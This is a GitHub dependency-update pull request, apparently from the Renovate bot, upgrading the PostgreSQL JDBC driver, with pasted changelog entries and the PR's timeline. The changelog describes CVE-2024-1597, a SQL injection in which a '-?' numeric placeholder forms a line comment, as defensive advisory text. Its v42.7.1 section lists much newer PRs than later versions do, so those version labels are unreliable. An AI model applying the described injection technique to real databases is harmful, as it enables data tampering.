  • refactor: Merge PgPreparedStatement#setBinaryStream int and long methods PR #​3165
  • test: Test both binaryMode=true,false when creating connections in DatabaseMetaDataTest PR #​3231
  • docs: Fixed typos in all source code and documentations PR #​3242
  • chore: Remove self-hosted runner PR #​3227
  • docs: Add cancelSignalTimeout in README PR #​3190
  • docs: Document READ_ONLY_MODE in README PR #​3175
  • test: Test for +/- infinity double values PR #​3294
  • test: Switch localhost and auth-test around for test-gss PR #​3343
  • fix: remove preDescribe from internalExecuteBatch PR #​2883
  • deps: Update dependency om.ongres.scram:scram-client to 3.2
Deprecated
  • test: Deprecate all PostgreSQL versions older than 9.1 PR #​3335
v42.7.3
Changed
Fixed
  • fix: boolean types not handled in SimpleQuery mode PR #​3146
    • make sure we handle boolean types in simple query mode
    • support uuid as well
    • handle all well known types in text mode and change else if to switch
  • fix: released new versions of 42.2.29, 42.3.10, 42.4.5, 42.5.6, 42.6.2 to deal with NoSuchMethodError on ByteBuffer#position when running on Java 8
v42.7.2
Security
  • security: SQL Injection via line comment generation, it is possible in SimpleQuery mode to generate a line comment by having a placeholder for a numeric with a -
    
such as -?. There must be second placeholder for a string immediately after. Setting the parameter to a -ve value creates a line comment.
    
This has been fixed in this version fixes CVE-2024-1597. Reported by Paul Gerste. See the security advisory for more details. This has been fixed in versions 42.7.2, 42.6.1 42.5.5, 42.4.4, 42.3.9, 42.2.28.jre7. See the security advisory for work arounds.
Changed
  • fix: Use simple query for isValid. Using Extended query sends two messages checkConnectionQuery was never ever set or used, removed PR #​3101
  • perf: Avoid autoboxing bind indexes by @​bokken in PR #​1244
  • refactor: Document that encodePassword will zero out the password array, and remove driver's default encodePassword by @​vlsi in PR #​3084
Added
  • feat: Add PasswordUtil for encrypting passwords client side PR #​3082
v42.7.1
Added
  • feat: invalidate the prepared-statement cache when the server reports a search_path change via GUC_REPORT (PostgreSQL 18+), so cached plans are no longer used against the wrong schema PR #​4259
  • feat: reWriteBatchedInserts now merges up to 32768 rows into one multi-values INSERT (bounded by the 65535 bind-parameter limit on the extended protocol) instead of capping at 128, which speeds up batches of few-column rows. The new reWriteBatchedInsertsSize connection property lowers that cap when set; the default of 0 uses that maximum. PR #​4207
  • feat: invalidate the prepared-statement cache after CREATE/DROP/ALTER so callers no longer trip on "cached plan must not change result type" without opting into autosave=ALWAYS. Controlled by the new flushCacheOnDdl connection property (default true); set to false for the prior behaviour. PR #​4067
  • feat: add connectExecutor connection property to customize the Executor used to run the worker task that performs the connection attempt when loginTimeout is in effect. The value is the fully qualified name of a class implementing java.util.concurrent.Executor. With a null value, the default, the driver retains the prior behavior of running the connection attempt on a daemon thread named "PostgreSQL JDBC driver connection thread". The executor must run the task on a thread other than the caller's. Running the attempt on a named thread lets applications that monitor driver-created threads identify it. PR #​4165
  • feat: add classLoaderStrategy connection property to control which classloaders the driver searches when loading a class named by a connection property, for example socketFactory. The default driver-first now falls back to the thread context classloader when the driver's classloader cannot resolve the class, which fixes class loading in non-flat class paths such as Quarkus and OSGi. Set driver to keep the previous driver-classloader-only behaviour, or context-first to prefer the thread context classloader Issue #​2112PR #​4167
  • feat: add OID constants for geometric arrays, RECORD, and refcursorPR #​4220
  • feat: LargeObjectBlobInputStream now skips by seeking instead of reading, and the driver exposes the server version so it can select the 64-bit large-object API where available PR #​4204
Changed
  • refactor: the worker that runs the connection attempt under loginTimeout is now a FutureTask (ConnectTask) instead of the hand-rolled ConnectThread. When the caller hits the timeout, the task is now cancelled with cancel(true), which interrupts the worker thread rather than letting it run to completion. This makes the connection attempt interruptible, so loginTimeout can stop a slow connection attempt instead of leaking a thread. As before, a connection that the worker still manages to establish after the caller gives up is closed by the worker so that it does not leak. There are no public API changes and this should only lead to faster background resource cleanup for connections that time out. PR #​4120
  • chore: PGXAConnection.ConnectionHandler now rejects setAutoCommit(false) and setSavepoint(...) during an active XA branch, in addition to the long-rejected setAutoCommit(true) / commit() / rollback(). The setSavepoint rejection was already meant to be in place but the guard misspelled the method name as setSavePoint, so savepoints silently went through. Both changes bring the proxy in line with JTA 1.2 §3.4. PR #​4114
  • chore: commitPrepared / rollback-of-prepared now return XAER_RMFAIL instead of XAER_RMERR when the underlying connection is left in a non-idle TransactionState. Transaction managers (Geronimo, Narayana, Atomikos) treat XAER_RMFAIL as retryable on a fresh XAResource; the prepared transaction is no longer abandoned. PR #​4114
  • refactor: derive getPrimaryKeys from pg_constraint.conkeyPR #​4202
Fixed
  • fix: the published GitHub release now ships the released postgresql-<version>.jar and its detached PGP signature, taken from the same signed build that is uploaded to Maven Central, instead of a leftover SNAPSHOT jar Issue #​3812PR #​3814
  • fix: simplify the Statement#cancel state machine by dropping the redundant CANCELLED state. killTimerTask now waits for the state to return to IDLE directly, which removes a spin-forever case when more than one thread observes the cancel completing PR #​1827.
  • perf: defer simple-query flushes until the driver reads the response, allowing BEGIN and the following query to share a network flush Issue #​3894PR #​4196
  • fix: reWriteBatchedInserts no longer throws IllegalArgumentException when batching a parameterless INSERT (for example INSERT INTO t VALUES (1, 2)) of 256 rows or more PR #​4207
  • fix: a comment before CALL in a CallableStatement no longer hides the native call, so OUT parameter registration works for /* comment */ call proc(?, ?) and similar. Parser.modifyJdbcCall now skips leading whitespace and SQL comments (both -- and /* */) before the call, tolerates a trailing comment after a { ... } escape, and no longer adds a spurious comma when moving an OUT parameter into a call whose arguments are only a comment Issue #​2538PR #​4209
  • fix: PreparedStatement.toString() no longer throws for a bytea value supplied as text via PGobject. Hex-format values (\x...) are validated and rendered as a bytea literal, and escape-format values are quoted and cast like any other literal Issue #​3757PR #​4201
  • fix: the driver no longer nulls the contextClassLoader of shared ForkJoinPool.commonPool() worker threads, which previously left unrelated tasks on those threads running with a null classloader Issue #​4155PR #​4156
  • fix: PgResultSet#getCharacterStream wraps String in a StringReaderPR #​4063
  • fix: PGXAConnection no longer saves and restores the underlying connection's JDBC autoCommit flag. All XA-protocol SQL (BEGIN, PREPARE TRANSACTION, COMMIT, ROLLBACK, COMMIT PREPARED, ROLLBACK PREPARED, the recover() SELECT) is sent through QUERY_SUPPRESS_BEGIN, so the caller's autoCommit value is invariant across every XAResource call. Fixes the "2nd phase commit must be issued using an idle connection" failure during recovery on managed datasources that pool connections with autoCommit=false (TomEE, WildFly, WebSphere Liberty) PR #​4114
  • fix: PGXAConnection.prepare() now mutates XA state only after PREPARE TRANSACTION succeeds. A failed PREPARE previously left the driver thinking the branch was already prepared, so the follow-up rollback(xid) tried ROLLBACK PREPARED against a non-existent gid and returned XAER_RMERR. Transaction managers (Narayana) escalated this to HeuristicMixedException. With the fix, rollback(xid) takes the active-branch path and issues a plain ROLLBACK, which the server accepts cleanly. Fixes Issue #​3153, Issue #​3123. PR #​4114
  • fix: an updatable result set over an unqualified table name is now classified using only the table visible through search_path. When two schemas held a table with the same name and the same primary or unique index name but a different set of key columns, the driver took the union of both schemas' columns, so the result set could be wrongly rejected as not updatable PR #​4214. Supersedes
✂ Note
PR body was truncated to here.
Configuration
📅 Schedule: (UTC)
  • Branch creation

    • At any time (no schedule defined)
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.
♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot
closed this
Mar 27, 2026
@renovate
renovateBot
deleted the

renovate/maven-org.postgresql-postgresql-vulnerability

branch
March 27, 2026 00:45
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Mar 30, 2026
@renovaterenovateBot
reopened this
Mar 30, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
c29cb62 to
aa15a13CompareMarch 30, 2026 18:01
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot
closed this
Apr 27, 2026
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY] - autoclosedUpdate dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Apr 28, 2026
@renovaterenovateBot
reopened this
Apr 28, 2026
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
2 times, most recently
from
aa15a13 to
45ddb13CompareApril 28, 2026 04:54
@renovate
renovateBotforce-pushed
the
renovate/maven-org.postgresql-postgresql-vulnerability
branch
from
45ddb13 to
101b1f7CompareMay 7, 2026 00:12
@renovaterenovateBot
changed the title
Update dependency org.postgresql:postgresql to v42.3.3 [SECURITY]Update dependency org.postgresql:postgresql to v42.7.11 [SECURITY]May 7, 2026
Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


No reviews


Assignees


No one assigned


Labels


None yet


Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

0 participants